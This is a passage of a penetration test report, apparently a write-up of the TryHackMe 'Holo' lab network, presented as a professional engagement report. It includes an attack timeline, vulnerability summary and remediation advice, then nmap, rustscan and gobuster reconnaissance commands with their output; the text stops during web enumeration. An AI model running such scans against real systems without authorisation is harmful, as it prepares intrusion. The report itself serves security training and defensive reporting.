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BlackSunSecurity ExternalPenetrationTestReport HOLO v1.2

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BlackSunSecurity ExternalPenetrationTestReport HOLO v1.2

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Vigneshwar DK

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BLACK SUN SECURITY

External Penetration Test Report

HOLOLIVE

v.1.2

Services provided to:

HOLO

Prepared By:
Lai Koon Fatt (Austin)
Black Sun Security

Copyright © Black Sun Security P a g e 1 | 126

Business Confidential

Date: Sept 12th, 2021

Version 1.2

CONFIDENTIALITY Statement

This document is the exclusive property of HOLO and Black Sun Security.

This document contains proprietary and confidential information. Duplication, redistribution, or use,
in whole or in part, in any form, requires consent of both HOLO and Black Sun Security.

Black Sun Security may share this document with auditors under non-disclosure agreements to
demonstrate penetration test requirement compliance.

DISCLAIMERS

The information presented in this document is provided as is and without warranty.

The assessments are a “point in time” analysis and as such it is possible that something in the
environment could have changed since the tests reflected in this report were run. Also, it is
possible that new vulnerabilities may have been discovered since the tests were run.

For this reason, this report should be considered a guide, not a 100% representation of the risk
threatening your systems, networks, and applications.

Copyright © Black Sun Security P a g e 2 | 126

Version Control

Version Date Author Rationale

0.1 08th September 2021 Austin Lai First Draft
0.2 11th September 2021 Austin Lai Added details in Penetration section
0.3 11th September 2021 Austin Lai Added screenshot in Penetration section
0.4 11th September 2021 Austin Lai First review
0.5 11th September 2021 Austin Lai Added Additional Section
0.6 11th September 2021 Austin Lai Second Review
0.7 11th September 2021 Austin Lai Organize Appendix 1 & 2 Section
0.8 12th September 2021 Austin Lai Mask password, hashes, and flags
0.9 12th September 2021 Austin Lai Final Review
1.0 12th September 2021 Austin Lai Published and released
1.1 29th September 2021 Austin Lai Adding more description
1.2 2nd October 2021 Austin Lai Adding description and changing format

Copyright © Black Sun Security P a g e 3 | 126

Table of Contents

Business Confidential ----------------------------------------------------------------------------------------------------------2

CONFIDENTIALITY Statement ------------------------------------------------------------------------------------------------------- 2
DISCLAIMERS ------------------------------------------------------------------------------------------------------------------------------- 2
Version Control ----------------------------------------------------------------------------------------------------------------------------- 3
Table of Contents -----------------------------------------------------------------------------------------------------------------4
HOLO External Penetration Test Report -------------------------------------------------------------------------------7
Introduction | Purpose ------------------------------------------------------------------------------------------------------------------ 7
External Penetration Test Scope --------------------------------------------------------------------------------------------------- 7
Executive Summary ---------------------------------------------------------------------------------------------------------------------- 8
Attack Timeline and Summary ------------------------------------------------------------------------------------------------------ 9
Severity Classification ---------------------------------------------------------------------------------------------------------------- 10
Summary of Vulnerability ------------------------------------------------------------------------------------------------------------ 10
Security Weaknesses and Recommendation ------------------------------------------------------------------------------- 11
Weak input validation of all web application------------------------------------------------------------------------------------------------- 11
Recommendation ----------------------------------------------------------------------------------------------------------------------------------- 11
Weak Files, Directories, Services and Binary permission ------------------------------------------------------------------------------ 11
Recommendation ----------------------------------------------------------------------------------------------------------------------------------- 11
Unrestricted Logon Attempts --------------------------------------------------------------------------------------------------------------------- 12
Recommendation ----------------------------------------------------------------------------------------------------------------------------------- 12
Missing Multi-Factor Authentication ------------------------------------------------------------------------------------------------------------ 12
Recommendation ----------------------------------------------------------------------------------------------------------------------------------- 12
Unquoted service path ------------------------------------------------------------------------------------------------------------------------------ 12
Recommendation ----------------------------------------------------------------------------------------------------------------------------------- 12
Missing SMB signing enforcement ------------------------------------------------------------------------------------------------------------- 12
Recommendation ----------------------------------------------------------------------------------------------------------------------------------- 12
Overall Recommendation -------------------------------------------------------------------------------------------------------------------------- 13
External Penetration Test Methodologies ------------------------------------------------------------------------------------ 13
Information Gathering ------------------------------------------------------------------------------------------------------------------------------- 13
MITRE ATT&CK Framework References (Nmap Network Scan) ---------------------------------------------------------------------- 15
Overall Service Enumeration --------------------------------------------------------------------------------------------------------------------- 16
MITRE ATT&CK Framework References (Nmap Host Scan) --------------------------------------------------------------------------- 17
Penetration ---------------------------------------------------------------------------------------------------------------------------------------------- 17
Targeted System: http://dev.holo.live (Web Application) – 10.200.107.33 (Host IP) ---------------------------------------------- 17
Nmap Port Scan ---------------------------------------------------------------------------------------------------------------------------------- 17
Web Enumeration ------------------------------------------------------------------------------------------------------------------------------- 20
Exploitation on LFI------------------------------------------------------------------------------------------------------------------------------- 30
First Vulnerability Found----------------------------------------------------------------------------------------------------------------------- 32
MITRE ATT&CK Framework References (Exploit LFI) ----------------------------------------------------------------------------------- 34
Targeted System: http://admin.holo.live (Web Application) – 10.200.107.33 (Host IP)------------------------------------------- 35
Web Enumeration ------------------------------------------------------------------------------------------------------------------------------- 35
Exploitation on LFI with RCE ------------------------------------------------------------------------------------------------------------------ 36
Reverse Shell Access ---------------------------------------------------------------------------------------------------------------------------- 37
First Vulnerability Found----------------------------------------------------------------------------------------------------------------------- 38
MITRE ATT&CK Framework References (Exploit LFI with RCE) ----------------------------------------------------------------------- 40

Copyright © Black Sun Security P a g e 4 | 126

System Enumeration --------------------------------------------------------------------------------------------------------------------------- 40
User.txt -------------------------------------------------------------------------------------------------------------------------------------------- 41
MySQL Database Enumeration--------------------------------------------------------------------------------------------------------------- 43
Escaping Docker Container-------------------------------------------------------------------------------------------------------------------- 47
MITRE ATT&CK Framework References (Escape Docker Container) ---------------------------------------------------------------- 50
Host Enumeration ------------------------------------------------------------------------------------------------------------------------------- 51
Privilege Escalation to Root ------------------------------------------------------------------------------------------------------------------- 51
MITRE ATT&CK Framework References (Privilege Escalation to Root) ------------------------------------------------------------- 52
User.txt -------------------------------------------------------------------------------------------------------------------------------------------- 53
Root.txt -------------------------------------------------------------------------------------------------------------------------------------------- 54
Host System Enumeration--------------------------------------------------------------------------------------------------------------------- 55
MITRE ATT&CK Framework References (Credential Dumping) ---------------------------------------------------------------------- 56
Persistent Access (Maintain Access) -------------------------------------------------------------------------------------------------------- 57
MITRE ATT&CK Framework References (Persistent Access) -------------------------------------------------------------------------- 59
Password Cracking ------------------------------------------------------------------------------------------------------------------------------ 59
MITRE ATT&CK Framework References (Password Cracking) ------------------------------------------------------------------------ 61
Nmap Network Scan ---------------------------------------------------------------------------------------------------------------------------- 61
Nmap Host Port Scan --------------------------------------------------------------------------------------------------------------------------- 62
10.200.107.30 -------------------------------------------------------------------------------------------------------------------------------- 63
10.200.107.31 -------------------------------------------------------------------------------------------------------------------------------- 64
10.200.107.32 -------------------------------------------------------------------------------------------------------------------------------- 65
10.200.107.35 -------------------------------------------------------------------------------------------------------------------------------- 66
MITRE ATT&CK Framework References (Nmap Network and Host Port Scan) --------------------------------------------------- 67
Network Pivoting -------------------------------------------------------------------------------------------------------------------------------- 67
MITRE ATT&CK Framework References (Network Pivoting) -------------------------------------------------------------------------- 70
Targeted System: 10.200.107.31 (Host IP) ---------------------------------------------------------------------------------------------------- 70
Web Enumeration ------------------------------------------------------------------------------------------------------------------------------- 70
MITRE ATT&CK Framework References (Account Discovery) ------------------------------------------------------------------------ 73
Exploitation on Weak Password Recovery Mechanism -------------------------------------------------------------------------------- 73
Web Flag ------------------------------------------------------------------------------------------------------------------------------------------- 78
First Vulnerability Found----------------------------------------------------------------------------------------------------------------------- 78
Exploitation on Unrestricted File Upload -------------------------------------------------------------------------------------------------- 80
Second Vulnerability Found ------------------------------------------------------------------------------------------------------------------- 85
Web Enumeration on Upload Directory --------------------------------------------------------------------------------------------------- 86
Reverse Shell Access ---------------------------------------------------------------------------------------------------------------------------- 88
Persistent Access (Maintain Access) -------------------------------------------------------------------------------------------------------- 89
MITRE ATT&CK Framework References (Persistent Access) -------------------------------------------------------------------------- 91
Defense Evasion --------------------------------------------------------------------------------------------------------------------------------- 91
MITRE ATT&CK Framework References (Defense Evasion) --------------------------------------------------------------------------- 92
Root.txt -------------------------------------------------------------------------------------------------------------------------------------------- 92
Credential Dumping----------------------------------------------------------------------------------------------------------------------------- 93
MITRE ATT&CK Framework References (Credential Dumping) ---------------------------------------------------------------------- 94
Targeted System: 10.200.107.35 (Host IP) ---------------------------------------------------------------------------------------------------- 94
Lateral Movement------------------------------------------------------------------------------------------------------------------------------- 94
MITRE ATT&CK Framework References (Lateral Movement) ------------------------------------------------------------------------ 95
User.txt -------------------------------------------------------------------------------------------------------------------------------------------- 95
Defense Evasion --------------------------------------------------------------------------------------------------------------------------------- 96
MITRE ATT&CK Framework References (Defense Evasion) --------------------------------------------------------------------------- 97
Exploitation of DLL Hijacking ----------------------------------------------------------------------------------------------------------------- 97
First Vulnerability Found--------------------------------------------------------------------------------------------------------------------- 100
MITRE ATT&CK Framework References (Exploitation of DLL Hijacking) --------------------------------------------------------- 102
Stabilize Meterpreter Shell------------------------------------------------------------------------------------------------------------------ 102
MITRE ATT&CK Framework References (Stabilize Meterpreter Shell) ----------------------------------------------------------- 103
Persistent Access (Maintain Access) ------------------------------------------------------------------------------------------------------ 103
Root.txt ------------------------------------------------------------------------------------------------------------------------------------------ 104
System Network Enumeration ------------------------------------------------------------------------------------------------------------- 105
Targeted System: 10.200.107.30 (Host IP) -------------------------------------------------------------------------------------------------- 105
Exploitation on SMB with NTLM Relay Attack ------------------------------------------------------------------------------------------ 105
First Vulnerability Found--------------------------------------------------------------------------------------------------------------------- 109
Copyright © Black Sun Security P a g e 5 | 126
MITRE ATT&CK Framework References (Exploitation on SMB with NTLM Relay Attack)------------------------------------ 111
Lateral Movement----------------------------------------------------------------------------------------------------------------------------- 112
MITRE ATT&CK Framework References (Lateral Movement) ---------------------------------------------------------------------- 113
Persistent Access (Maintain Access) ------------------------------------------------------------------------------------------------------ 113
Root.txt ------------------------------------------------------------------------------------------------------------------------------------------ 114
NTLM Hash Dumping ------------------------------------------------------------------------------------------------------------------------- 115
Overview of Maintaining Access--------------------------------------------------------------------------------------------------------------- 116
House Cleaning -------------------------------------------------------------------------------------------------------------------------------------- 116
Conclusion | Summary --------------------------------------------------------------------------------------------------------------- 117
Additional Items ------------------------------------------------------------------------------------------------------------------------- 118
Appendix 1 – References ------------------------------------------------------------------------------------------------------------------------ 118
Vulnerabilities References ---------------------------------------------------------------------------------------------------------------------- 118
Vulnerabilities Articles --------------------------------------------------------------------------------------------------------------------------- 119
Best Practices--------------------------------------------------------------------------------------------------------------------------------------- 119
Tool References ------------------------------------------------------------------------------------------------------------------------------------ 119
Appendix 2 – MITRE ATT&CK Framework ------------------------------------------------------------------------------------------------ 120
Tactics ------------------------------------------------------------------------------------------------------------------------------------------------ 120
Techniques ------------------------------------------------------------------------------------------------------------------------------------------ 121
Sub-techniques ------------------------------------------------------------------------------------------------------------------------------------ 122
Appendix 3 - Trophies ----------------------------------------------------------------------------------------------------------------------------- 123
Appendix 4 - Meterpreter Usage -------------------------------------------------------------------------------------------------------------- 123
Appendix 5 - Account Usage ------------------------------------------------------------------------------------------------------------------- 124
Appendix 6 – Additional [tools | binary] Usage ------------------------------------------------------------------------------------------- 125

Copyright © Black Sun Security P a g e 6 | 126

HOLO External Penetration Test Report

Introduction | Purpose

HOLO has asked Black Sun Security to perform a detailed security examination of their corporate
network (hololive) that contain Active Directory (AD), File Server, Database, and Web Application.

This report is being presented to show the full results of our testing efforts and to make
recommendations where appropriate.

External Penetration Test Scope

An external penetration test emulates the role of an attacker attempting to gain access to an
internal network without internal resources or inside knowledge.

The scope of this review was limited to a single corporate network given by HOLO - “hololive”.

Assessment Details
Network = 10.200.107.0/24
External Penetration Test
Domain = hololive

Our testing included unauthenticated testing to gain initial foothold/access and perform scanning
and enumeration to identify potential vulnerabilities in hopes of exploitation.

With that, we are pivoting through the network to gain further access eventually gaining access to
Domain Controller (AD/DC).

Copyright © Black Sun Security P a g e 7 | 126

Executive Summary

BLACK SUN SECURITY evaluated HOLO’s external security posture through an external network
penetration test – “grey-box” web application. The focus of this test is to perform attacks, like those
of a hacker and attempt to infiltrate HOLO corporate network – stated in External Penetration Test
Scope.

By leveraging a series of attacks, BLACK SUN SECURITY found two (2) critical, two (2) high and
two (2) medium severity level of vulnerabilities that allowed full internal network access to the
HOLO corporate network.

BLACK SUN SECURITY has classified the level of vulnerabilities based on Severity Classification
section and BLACK SUN SECURITY has compiled Summary of Vulnerabilities for HOLO
references.

It is highly recommended that HOLO address these vulnerabilities as soon as possible as the
vulnerabilities are easily found through basic reconnaissance and exploitable without much effort
(as low-hanging fruits).

These systems as well as a brief description on how access was obtained are listed in the Attack
Summary.

BLACK SUN SECURITY has also included MITRE Adversarial Tactics, Techniques and Common
Knowledge (a.k.a. MITRE ATT&CK Framework) in this Penetration Testing Report. The framework
reference is a curated knowledge base and model for cyber adversary behavior, reflecting the
various phases of an adversary’s attack lifecycle; that will allow HOLO to improve detection of
adversaries in the enterprise and better classify the attacks and assess of organization’s risk.

Copyright © Black Sun Security P a g e 8 | 126

Attack Timeline and Summary

Step Date System Action

1 3rd Sept 2021 http://dev.holo.live Obtained user account credential through CWE-22:
Improper Limitation of a Pathname to a Restricted
Directory ('Path Traversal') by exploiting Local File
Inclusion vulnerability.

2 4th Sept 2021 http://admin.holo.live Got in through CWE-78: Improper Neutralization of

Special Elements used in an OS Command ('OS
Command Injection') by exploiting Local File
Inclusion vulnerability with Remote Code Execution.

3 5th Sept 2021 http://10.200.107.31 Got in through CWE-640: Weak Password Recovery
Mechanism for Forgotten Password by construct
password reset poisoning to reset password of valid
user account.

4 6th Sept 2021 10.200.107.35 Got in through CWE-427: Uncontrolled Search Path
Element by exploiting vulnerable application found
on the system.

5 7th Sept 2021 10.200.107.30 Got in through NIST - CVE-2016-2115 by exploiting

SMB session with abusing NTLM relay session from
10.200.107.35.

Copyright © Black Sun Security P a g e 9 | 126

Severity Classification
This section of the report details the severity classification system used during the assessment.

Severity Definition
Vulnerability exists to allow attacker elevated privilege on the system however
Critical
exploitation may require extra steps

Exploitation is straightforward and usually results in system-level compromise

High and/or could access system directly. It is advised to form a plan of action and
patch immediately.

Medium Severity usually arise because of errors and deficiencies in the

Medium configuration. By exploiting these security issues, malicious attackers can access
data on the system.

Low Severity include information leakage, configuration errors and a lack of some

Low security measures. They can be combined with other issues of a higher severity
level and cause a more severe impact on the target.

Summary of Vulnerability

Severity Vulnerability

Medium CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

High CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS

Command Injection')

Medium CWE-640: Weak Password Recovery Mechanism for Forgotten Password

High CWE-434: Unrestricted Upload of File with Dangerous Type

Critical CWE-427: Uncontrolled Search Path Element

Critical NIST - CVE-2016-2115

Copyright © Black Sun Security P a g e 10 | 126

Security Weaknesses and Recommendation

Weak input validation of all web application

BLACK SUN SECURITY successfully performs local file inclusion, remote code execution and
upload malicious files to gain access to the system.

Recommendation
• Encourage HOLO to strengthen the input validation for all web application (especially
Hazardous Character) following OWASP Secure Coding Best Practice v2
• If possible, do not permit file paths to be appended directly. Make them hard-coded or selectable
from a limited hard-coded path list via an index variable.
• If you need dynamic path concatenation, ensure you only accept required characters such as "a-
Z0-9" and do not allow ".." or "/" or "%00" (null byte) or any other similar unexpected characters.
• Additional Reference: Code Execution via Local File Inclusion

Weak Files, Directories, Services and Binary permission

BLACK SUN SECURITY successfully accesses files that should be restricted access and not
expose to external network and binary with SUID bit eventually escalate privileged to root access.

Recommendation
• Implement strict access control and data protection stated in OWASP Secure Coding Best
Practice v2 to ensure sensitive information is not visible to unauthorized users.
• Impose strict files and directories permission to restrict file access
• Giving least permission for MySQL user to run the service and minimum access permission to
the MySQL
• Remove any binary with SUID bit or at least shall not give any binary with SUID bit permission
• Train employee on its correct use of robots.txt can represent good practice for non-security
reasons
• Do not rely on robots.txt to provide any kind of protection over unauthorized access
• Additional References: PortSwigger - Robots.txt file

Copyright © Black Sun Security P a g e 11 | 126

Unrestricted Logon Attempts

During the assessment, BLACK SUN SECURITY performed multiple attacks against login forms
found on the external network. For all logins, unlimited attempts were allowed, which permitted an
eventual successful login on the HOLO admin portal.

Recommendation
• Restrict logon attempts to 3 logon failures

Missing Multi-Factor Authentication

BLACK SUN SECURITY leveraged multiple attacks against HOLO login forms using valid
credentials. The use of multi-factor authentication would have prevented full access and required
BLACK SUN SECURITY to utilize additional attack methods to gain internal network access.

Recommendation
• Integrate multi-factor authentication services

Unquoted service path

During the assessment, BLACK SUN SECURITY successfully performed DLL injection into one of
the vulnerable applications to escalated privileged as administrator.

Recommendation
• Ensure any service with space enclosed with double quote.
• Remove or ensure all application/software/OS are up to date

Missing SMB signing enforcement

During the assessment, BLACK SUN SECURITY successfully performed exploit on SMB session
by abusing NTLM relay that allow to gain access to Domain Controller.

Recommendation
• Enable SMB signing enforcement

Copyright © Black Sun Security P a g e 12 | 126

Overall Recommendation

Black Sun Security recommend patching the vulnerabilities identified during the testing to ensure
that an attacker cannot exploit these systems in the future. One thing to remember is that these
systems require frequent patching and once patched, should remain on a regular patch program to
protect additional vulnerabilities that are discovered later.

External Penetration Test Methodologies

Black Sun Security utilized a widely adopted approach that was also in line with Open Web
Application Security Project (OWASP) to performing penetration testing that is effective in testing
how well the Holo corporate environment are secure.

Below is a breakout of how Black Sun Security was able to identify and exploit the variety of
systems and includes all individual vulnerabilities found.

Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the
penetration test.

During this penetration test, Black Sun Security was tasked with exploiting the specific Holo
corporate network that were stated in the External Penetration Test Scope

Based on the given scope of engagement for Holo corporate network (10.200.107.0/24), Black
Sun Security has performed a quick nmap scan to gather information on the available assets.

Copyright © Black Sun Security P a g e 13 | 126

Nmap scan result as below:

Below is the code snippet for nmap scan result:

1. nmap -nvv -sn -oN ./holo-kali-08092021/10.200.107.0-network-scan 10.200.107.0/24 && ./holo-kali-08092021/10.200.107.0-
network-scan | grep --color=always -B 1 up
2.
3. Nmap scan report for 10.200.107.0 [host down, received no-response]
4. Nmap scan report for 10.200.107.1 [host down, received no-response]
5. Nmap scan report for 10.200.107.2 [host down, received no-response]
6. Nmap scan report for 10.200.107.3 [host down, received no-response]
7. Nmap scan report for 10.200.107.4 [host down, received no-response]
8. Nmap scan report for 10.200.107.5 [host down, received no-response]
9. Nmap scan report for 10.200.107.6 [host down, received no-response]
10. Nmap scan report for 10.200.107.7 [host down, received no-response]
11. Nmap scan report for 10.200.107.8 [host down, received no-response]
12. Nmap scan report for 10.200.107.9 [host down, received no-response]
13. Nmap scan report for 10.200.107.10 [host down, received no-response]
14. Nmap scan report for 10.200.107.11 [host down, received no-response]
15. Nmap scan report for 10.200.107.12 [host down, received no-response]
16. Nmap scan report for 10.200.107.13 [host down, received no-response]
17. Nmap scan report for 10.200.107.14 [host down, received no-response]
Copyright © Black Sun Security P a g e 14 | 126
18. Nmap scan report for 10.200.107.15 [host down, received no-response]
19. Nmap scan report for 10.200.107.16 [host down, received no-response]
20. Nmap scan report for 10.200.107.17 [host down, received no-response]
21. Nmap scan report for 10.200.107.18 [host down, received no-response]
22. Nmap scan report for 10.200.107.19 [host down, received no-response]
23. Nmap scan report for 10.200.107.20 [host down, received no-response]
24. Nmap scan report for 10.200.107.21 [host down, received no-response]
25. Nmap scan report for 10.200.107.22 [host down, received no-response]
26. Nmap scan report for 10.200.107.23 [host down, received no-response]
27. Nmap scan report for 10.200.107.24 [host down, received no-response]
28. Nmap scan report for 10.200.107.25 [host down, received no-response]
29. Nmap scan report for 10.200.107.26 [host down, received no-response]
30. Nmap scan report for 10.200.107.27 [host down, received no-response]
31. Nmap scan report for 10.200.107.28 [host down, received no-response]
32. Nmap scan report for 10.200.107.29 [host down, received no-response]
33. Nmap scan report for 10.200.107.30 [host down, received no-response]
34. Nmap scan report for 10.200.107.31 [host down, received no-response]
35. Nmap scan report for 10.200.107.32 [host down, received no-response]
36. Nmap scan report for 10.200.107.33
37. Host is up, received syn-ack (0.33s latency).
38. Nmap scan report for 10.200.107.34 [host down, received no-response]
39. [---OMMITED---]
40. Read data files from: /usr/bin/../share/nmap
41. # Nmap done at Wed Sep 8 22:37:08 2021 -- 256 IP addresses (2 hosts up) scanned in 15.38 seconds
42.
43. Nmap scan report for 10.200.107.33
44. Host is up, received syn-ack (0.33s latency).

MITRE ATT&CK Framework References (Nmap Network Scan)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
perform nmap network scan on 10.200.107.0/24 as listed below:

• Tactic - TA0043 - Reconnaissance

• Technique - T1595 - Active Scanning
• Sub-technique - T1595.001 - Active Scanning: Scanning IP Blocks

Copyright © Black Sun Security P a g e 15 | 126

Overall Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what
services are alive on a system or systems.

This is valuable for an attacker as it provides detailed information on potential attack vectors into a
system.

Understanding what applications are running on the system gives an attacker needed information
before performing the actual penetration test. In some cases, some ports may not be listed.

Server IP Address Ports Open

Container IP: 192.168.100.100 TCP: 22,80,33060

Host IP: 10.200.107.33

Container Interface: 192.168.100.1 TCP: 22,3306,8080

Host Interface: 10.200.107.33

Host IP: 10.200.107.31 TCP: 22,80,135,139,443,445,3306,3389

Host IP: 10.200.107.35 TCP: 80,135,139,445,3389

Host IP: 10.200.107.30 TCP: 53,80,88,135,139,389,445,3389

Host IP: 10.200.107.32 TCP: 135,139,445,3389

Copyright © Black Sun Security P a g e 16 | 126

MITRE ATT&CK Framework References (Nmap Host Scan)

MITRE ATT&CK Framework References for the tactics and techniques Black Sun Security used to
perform nmap host scan on target system as listed below:

• Tactic - TA0043 - Reconnaissance

Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of
systems.

During this penetration test, Black Sun Security was able to successfully gain access to 5 out of 6
systems

Targeted System: http://dev.holo.live (Web Application) – 10.200.107.33 (Host IP)

Nmap Port Scan

Black Sun Security has identified host alive (10.200.107.33) based on the nmap scan result from
Information Gathering and perform a detail rustscan with the rustscan command as shown below.

1. sudo rustscan -u 5000 -b 1900 -t 4000 --tries 2 --scan-order serial -a 10.200.107.33 -- -A -sVC --script=safe,default,discovery,version,vuln |
sudo tee rustscan-full-result-10.200.107.33

Copyright © Black Sun Security P a g e 17 | 126

RustScan is a modern take on the port scanner and acting as extension of nmap as well.

Below is the result of rustscan:

Copyright © Black Sun Security P a g e 18 | 126

1. sudo rustscan -u 5000 -b 1900 -t 4000 --tries 2 --scan-order serial -a 10.200.107.33 -- -A -sVC --
script=safe,default,discovery,version,vuln | sudo tee rustscan-full-result-10.200.107.33
2.
3. .----. .-. .-. .----..---. .----. .---. .--. .-. .-.
4 | {} }| { } |{ { { }{ { / } / {} \ | `| |

From the rustscan result we know the port open of our target system as below:
• TCP: 22, 80, 33060

Web Enumeration

In the meantime, let's fire up gobuster dir search on our target system with the gobuster command
below:

1. sudo gobuster -t 15 --delay 100ms dir -e -u "http://10.200.107.33" -o TryHackMe-gobuster-dir-10.200.107.33 -w ~/Desktop/TryHackMe-Holo-

Network-Premium-Completed/big.txt

Gobuster is a tool used to brute-force:

• URIs (directories and files) in web sites.
• DNS subdomains (with wildcard support).
• Virtual Host names on target web servers.
• Open Amazon S3 buckets

Copyright © Black Sun Security P a g e 20 | 126

Below is the gobuster result for 10.200.107.33:

From the rustscan result as well, we have a few details worth to check out:
• robots.txt - however it does not contain useful information
• We got the hostname and domain - holo.live and www.holo.live

Let's add the hostname and domain of our target system into host file on our attacker machine
using command below:

1. sudo sed -i.bak '$a10.200.107.33 holo.live www.holo.live' /etc/hosts && cat /etc/hosts && ls -l /etc/hosts*

We also fire up gobuster vhost scan to check if there is additional sub-domain can be found using
command below:

1. sudo gobuster -t 15 --delay 100ms vhost -u "holo.live" -o TryHackMe-gobuster-vhost-holo.live -w

~/Desktop/TryHackMe-Holo-Network-Premium-Completed/subdomains-top1million-110000.txt

Copyright © Black Sun Security P a g e 21 | 126

Below is the result of gobuster vhost scan:

Below is the code snippet of gobuster vhost scan result:

1. Found: www.holo.live (Status: 200) [Size: 21405]
2. Found: dev.holo.live (Status: 200) [Size: 7515]
3. Found: admin.holo.live (Status: 200) [Size: 1845]
4. Found: gc._msdcs.holo.live (Status: 400) [Size: 422]

Seem like we found additional sub-domain available, let's add to our host file on our attacker
machine using command below:

1. sudo sed -i.bak 's/$/ admin.holo.live dev.holo.live/' /etc/hosts && cat /etc/hosts && ls -l /etc/hosts*
2.

Copyright © Black Sun Security P a g e 22 | 126

Now we can scan and enumerate all the sub-domain, we may use basic gobuster dir scan,
however since we know we can read “robots.txt” from previous gobuster scan, in this case we
going to use specific gobuster to search with file extension as shown code snippet with the result
below:
• Result of gobuster dir with file extension search for www.holo.live
sudo gobuster -t 15 --delay 100ms dir -e -u "http://www.holo.live" -o TryHackMe-gobuster-dir-file-www.holo.live -w
~/Desktop/TryHackMe-Holo-Network-Premium-Completed/big.txt -x txt,php

1. http://www.holo.live/.htpasswd.txt (Status: 403) [Size: 278]

2. http://www.holo.live/.htpasswd.php (Status: 403) [Size: 278]
3. http://www.holo.live/.htpasswd (Status: 403) [Size: 278]
4. http://www.holo.live/.htaccess.txt (Status: 403) [Size: 278]
5. http://www.holo.live/0 (Status: 301) [Size: 0] [--> http://www.holo.live/0/]
6. http://www.holo.live/.htaccess.php (Status: 403) [Size: 278]
7. http://www.holo.live/.htaccess (Status: 403) [Size: 278]
8. http://www.holo.live/! (Status: 301) [Size: 0] [--> http://www.holo.live/]
9. http://www.holo.live/admin (Status: 302) [Size: 0] [--> http://www.holo.live/wp-admin/]
10. http://www.holo.live/asdfjkl; (Status: 301) [Size: 0] [--> http://www.holo.live/asdfjkl]
11. http://www.holo.live/dashboard (Status: 302) [Size: 0] [--> http://www.holo.live/wp-admin/]
12. http://www.holo.live/favicon.ico (Status: 302) [Size: 0] [--> http://www.holo.live/wp-includes/images/w-logo-blue-white-
bg.png]
13. http://www.holo.live/fixed! (Status: 301) [Size: 0] [--> http://www.holo.live/fixed]
14. http://www.holo.live/index.php (Status: 301) [Size: 0] [--> http://www.holo.live/]
15. http://www.holo.live/javascript (Status: 301) [Size: 319] [--> http://www.holo.live/javascript/]
16. http://www.holo.live/license.txt (Status: 200) [Size: 19915]
17. http://www.holo.live/login (Status: 302) [Size: 0] [--> http://www.holo.live/wp-login.php]
18. http://www.holo.live/robots.txt (Status: 200) [Size: 913]
19. http://www.holo.live/robots.txt (Status: 200) [Size: 913]
20. http://www.holo.live/server-status (Status: 403) [Size: 278]
21. http://www.holo.live/upgrade (Status: 301) [Size: 316] [--> http://www.holo.live/upgrade/]
22. http://www.holo.live/wp-admin (Status: 403) [Size: 278]
23. http://www.holo.live/wp-admin.php (Status: 403) [Size: 278]
24. http://www.holo.live/wp-content (Status: 301) [Size: 319] [--> http://www.holo.live/wp-content/]
25. http://www.holo.live/wp-config.php (Status: 200) [Size: 0]
26. http://www.holo.live/wp-login (Status: 403) [Size: 278]
27. http://www.holo.live/wp-includes (Status: 301) [Size: 320] [--> http://www.holo.live/wp-includes/]
28. http://www.holo.live/wp-register.php (Status: 301) [Size: 0] [--> http://www.holo.live/wp-login.php?action=register]
29. http://www.holo.live/wp-feed.php (Status: 301) [Size: 0] [--> http://www.holo.live/index.php/feed/]
30. http://www.holo.live/wp-login.php (Status: 403) [Size: 278]
31. http://www.holo.live/wp-rss2.php (Status: 301) [Size: 0] [--> http://www.holo.live/index.php/feed/]
32. http://www.holo.live/wp-trackback.php (Status: 200) [Size: 135]
33. http://www.holo.live/xmlrpc.php (Status: 405) [Size: 42]

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• Result of gobuster dir with file extension search for admin.holo.live
sudo gobuster -t 15 --delay 100ms dir -e -u "http://admin.holo.live" -o TryHackMe-gobuster-dir-file-admin.holo.live -w
~/Desktop/TryHackMe-Holo-Network-Premium-Completed/big.txt -x txt,php

1. http://admin.holo.live/.htaccess (Status: 403) [Size: 280]

2. http://admin.holo.live/.htaccess.txt (Status: 403) [Size: 280]
3. http://admin.holo.live/.htaccess.php (Status: 403) [Size: 280]
4. http://admin.holo.live/.htpasswd.txt (Status: 403) [Size: 280]
5. http://admin.holo.live/.htpasswd.php (Status: 403) [Size: 280]
6. http://admin.holo.live/.htpasswd (Status: 403) [Size: 280]
7. http://admin.holo.live/assets (Status: 301) [Size: 319] [--> http://admin.holo.live/assets/]
8. http://admin.holo.live/dashboard.php (Status: 302) [Size: 0] [--> index.php]
9. http://admin.holo.live/db_connect.php (Status: 200) [Size: 0]
10. http://admin.holo.live/docs (Status: 301) [Size: 317] [--> http://admin.holo.live/docs/]
